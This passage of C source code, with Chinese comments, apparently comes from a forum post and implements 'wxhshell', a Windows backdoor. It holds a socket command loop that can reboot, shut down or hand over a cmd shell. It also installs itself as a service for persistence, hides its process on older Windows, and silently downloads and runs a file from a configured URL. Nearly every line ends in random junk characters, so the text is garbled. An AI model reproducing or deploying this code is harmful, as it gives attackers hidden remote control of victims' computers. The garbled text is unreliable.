  case '?': { v{rc5 ]\R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "?j|;p@!>  
    break; >Kl78w:  
  } -X#J<u T/  
  // 安装 <_*8a(j3  
  case 'i': { ;WIL?[;w  
    if(Install()) lwH&4K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q^Ln`zMe  
    else dRZor gar  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XEqg%f  
    break; S(A0),  
    } d9/E^)TT  
  // 卸载 A>L(#lz#ek  
  case 'r': { Fqzk/m  
    if(Uninstall()) JxQwxey{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oB[3? e  
    else <$.KCLP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Uz:zB  
    break; #e%.z+7I  
    } hMJ \a  
  // 显示 wxhshell 所在路径 )!dELS \ix  
  case 'p': { FH8?W| G  
    char svExeFile[MAX_PATH]; _lQ+J=J$.R  
    strcpy(svExeFile,"\n\r"); gB 3&AQ  
      strcat(svExeFile,ExeFile); 98C~%+  
        send(wsh,svExeFile,strlen(svExeFile),0); [Hdk=p  
    break; K. G#[  
    } Y=G *[G#  
  // 重启 (2@b ,w^  
  case 'b': { 4qda!%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SX}GKu  
    if(Boot(REBOOT)) AW'tZF"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =nnS X-x  
    else { 'OGOT0(  
    closesocket(wsh); PqcuSb6  
    ExitThread(0); Tu_dkif'  
    } OxF\Hm)(  
    break; pb%#`2"  
    } 3Gn2@`GC  
  // 关机 9BANCW"  
  case 'd': { lGB7(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X_ >B7(k   
    if(Boot(SHUTDOWN)) ^OG^% x"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @n(=#Q3  
    else { >1ZMQgCG  
    closesocket(wsh); cXJgdBwo  
    ExitThread(0); jn\\,n"6  
    } IJ, ,aCj4g  
    break; VhSKtD1  
    } xSb/9 8;  
  // 获取shell ?p5RSt  
  case 's': {  1 ,PFz  
    CmdShell(wsh); f Jv 0 B*  
    closesocket(wsh); %8o(x 0  
    ExitThread(0); QBto$!})  
    break; C>68$wd>  
  } Op3 IL/  
  // 退出 |ry;'[*  
  case 'x': { U7crbj;c)d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); any\}   
    CloseIt(wsh); s*k"-5  
    break; \g4\a?i  
    } &s/aJgJhp  
  // 离开 ?5mVC]W?]  
  case 'q': { ^Hq}9OyS9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kq%`9,XE  
    closesocket(wsh); 6}NvVolr  
    WSACleanup(); GWE`'V  
    exit(1); hQGZrZK#  
    break; P >N\q  
        } ;JL@V}L,  
  } \f66ipZK*  
  } PLLlo~Bb  
>4EcV1y  
  // 提示信息 flLmZ1"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [RpFC4W  
} p'w[5'  
  } cJ8*[H<NV  
xC;$/u%'  
  return; n; rOH[P  
} tW=0AtZl]  
Kg]( kP  
// shell模块句柄 95 ]%j\  
int CmdShell(SOCKET sock) X<9DE!/)  
{ Jy|Mfl%d  
STARTUPINFO si; .j&jf^a5  
ZeroMemory(&si,sizeof(si)); 2:DpnLU5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C)C;U&Qd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wFqz.HoB  
PROCESS_INFORMATION ProcessInfo; mOXI"q]p  
char cmdline[]="cmd"; *znCe(dd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %Vt@7SwRJ  
  return 0; jilO%  "  
} Y6N+,FAk+J  
|9\Lv $VJ  
// 自身启动模式 Gj)Qw 6  
int StartFromService(void) d'3'{C|kk  
{ Ne9 .wd  
typedef struct SbI,9<  
{ S?3{G@!  
  DWORD ExitStatus; k6Tpaf^  
  DWORD PebBaseAddress; !m(6/*PAl  
  DWORD AffinityMask; q6G([h7  
  DWORD BasePriority; H>7!+&M  
  ULONG UniqueProcessId; Cz a)s  
  ULONG InheritedFromUniqueProcessId; e@,L~ \  
}   PROCESS_BASIC_INFORMATION; fGe{7p6XV*  
i'5bPW  
PROCNTQSIP NtQueryInformationProcess; 2Qk\}KWs  
#ASu SQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lmc-ofEv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8v6rS-iHP  
gRqz8UI  
  HANDLE             hProcess; {W4t]Ff  
  PROCESS_BASIC_INFORMATION pbi; {(MG: B  
1b!l+ 8!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cEQa 6  
  if(NULL == hInst ) return 0; Rw\DJJrz  
{ o;0Fx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O0{v`|w9+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RCX4;,DHx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qnm9L w#  
QV 'y6m\  
  if (!NtQueryInformationProcess) return 0; 2mT+@G  
~w*ojI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'Qfy+_0  
  if(!hProcess) return 0; y(z U:.  
$?GO|.59  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7> ]C2!  
~ dk1fh  
  CloseHandle(hProcess); (Z5#;rgem  
UD(#u3z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `dNb%f>  
if(hProcess==NULL) return 0; Q$zlxn 7\  
vSL{WT]m  
HMODULE hMod; h/VYH(Tj  
char procName[255]; ]s S oIT  
unsigned long cbNeeded; 2M1mdkP3  
ky%%H;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Oxvw`a#  
A&7jE:Ew  
  CloseHandle(hProcess); `&6]P:_qp  
:)yM9^<D  
if(strstr(procName,"services")) return 1; // 以服务启动 ^KF'/9S  
S\rfR N  
  return 0; // 注册表启动 ;lEiOF+d  
} lpM{@JC  
Smu x&e  
// 主模块 fh 3 6  
int StartWxhshell(LPSTR lpCmdLine) $3Ia+O   
{ gc:>HX );)  
  SOCKET wsl; syfR5wc  
BOOL val=TRUE; qs b4@jt+  
  int port=0; >dGYZfqD  
  struct sockaddr_in door; 4>HGwk@+8  
sP |i '  
  if(wscfg.ws_autoins) Install(); CUG<v3\  
*Wau7  
port=atoi(lpCmdLine); Og npzN  
ZM.g +-9  
if(port<=0) port=wscfg.ws_port; f$'D2o, O  
Y|~>(  
  WSADATA data; [)u(\nfGX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F{+`F<r  
{cI<4><  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;CZcY] ol  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FHC7\#p/9Z  
  door.sin_family = AF_INET; lTP02|eK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]*h}sn=  
  door.sin_port = htons(port); 5b'S~Qj#r$  
qsRh ihPX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Sx"I]N  
closesocket(wsl); d!:SoZ  
return 1; *)1z-rH`  
} J#]y KgT  
*2MTx   
  if(listen(wsl,2) == INVALID_SOCKET) { w1b <>A?87  
closesocket(wsl); 2Qj)@&zKe#  
return 1; PsnU5f)`  
} R2s>;V.:  
  Wxhshell(wsl); QAwj]_  
  WSACleanup(); 7A6sSfPUy  
}b(e  
return 0; J5T#}!f  
LNE[c  
} xTZ5q*Hqx  
uSJP"Lw  
// 以NT服务方式启动 >>D i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mK-:laIL"  
{ 1 %`:8  
DWORD   status = 0; Y c kbc6F  
  DWORD   specificError = 0xfffffff; <k6xScy$}  
]IV; >94[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O :^[4$~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &/F[kAy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R2`g?5v  
  serviceStatus.dwWin32ExitCode     = 0; (^9M9+L[i  
  serviceStatus.dwServiceSpecificExitCode = 0; ;I'/.gW;{  
  serviceStatus.dwCheckPoint       = 0; nL!@#{z  
  serviceStatus.dwWaitHint       = 0; B vc=gW  
}C1wfZ~F~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 88j ;7  
  if (hServiceStatusHandle==0) return; CK</2w+  
2A|6o*s"  
status = GetLastError(); uyj*v]AE'  
  if (status!=NO_ERROR) }0RFo96) v  
{ rg}kxvu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a6E"  
    serviceStatus.dwCheckPoint       = 0; qS|VUy4  
    serviceStatus.dwWaitHint       = 0; gj^]}6-P  
    serviceStatus.dwWin32ExitCode     = status; NN'<-0~  
    serviceStatus.dwServiceSpecificExitCode = specificError; {Xd5e@:Js  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $"{3i8$3mT  
    return; Q%2Lyt"(  
  } l)s+"C#  
X~3P?O]kFv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "n, ZP@M;  
  serviceStatus.dwCheckPoint       = 0; Wp3l>:  
  serviceStatus.dwWaitHint       = 0; SGd.z6"H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pe})A  
} Q{hOn]"  
iXRt9)MT{  
// 处理NT服务事件,比如:启动、停止 VAE?={-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x^2/jUc#B  
{ ;i :wY&  
switch(fdwControl) rC `s;w  
{ oJT@'{;*z  
case SERVICE_CONTROL_STOP: B [ ka@z7  
  serviceStatus.dwWin32ExitCode = 0; s.)w A`&&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T+h{Aeg  
  serviceStatus.dwCheckPoint   = 0; FF~4y>R7u  
  serviceStatus.dwWaitHint     = 0; neFno5dj  
  { {{%8|+B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MToQ8qKs  
  } .G~5F- 8'  
  return; 'LLx$y.Ei[  
case SERVICE_CONTROL_PAUSE: #%"TU,[+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UO<claV  
  break; R7c)C8/~  
case SERVICE_CONTROL_CONTINUE: *AR<DXE L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -yGm^EwP  
  break; 1>y=i+T/b  
case SERVICE_CONTROL_INTERROGATE: /,Id_TTCO  
  break; 'a?.X _t  
}; $ow`)?sh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F)kLlsp  
} WC*:\:mh  
u>6/_^iq  
// 标准应用程序主函数 F5[ITK]A4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^>{;9 lo<  
{ VDjIs UUX  
+/86w59  
// 获取操作系统版本 1|w:xG^  
OsIsNt=GetOsVer(); %E7.$Gj%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z2V8NUn  
rOr1H!  
  // 从命令行安装 = S8>  
  if(strpbrk(lpCmdLine,"iI")) Install(); [<a%\:c m4  
c.A/{a  
  // 下载执行文件 b\m( 0/x  
if(wscfg.ws_downexe) { kdPm # $-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N: jiZ)  
  WinExec(wscfg.ws_filenam,SW_HIDE); n12c075  
} P\6T4s  
^GaPpm  
if(!OsIsNt) { .x?zky^  
// 如果时win9x,隐藏进程并且设置为注册表启动 #n)W  
HideProc(); ]m#MwN$  
StartWxhshell(lpCmdLine); A""*vqA  
} Mqf}Aiqk;  
else XfK.Fj~-  
  if(StartFromService()) *Q120R  
  // 以服务方式启动 ff./DMDafI  
  StartServiceCtrlDispatcher(DispatchTable); cBR8HkP~  
else (DP9& b  
  // 普通方式启动 MGyB8(  
  StartWxhshell(lpCmdLine); D4]B>  
aC Lg~g4  
return 0; 7oLf5V1~  
}
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只看该作者 1 发表于: 2006-10-10
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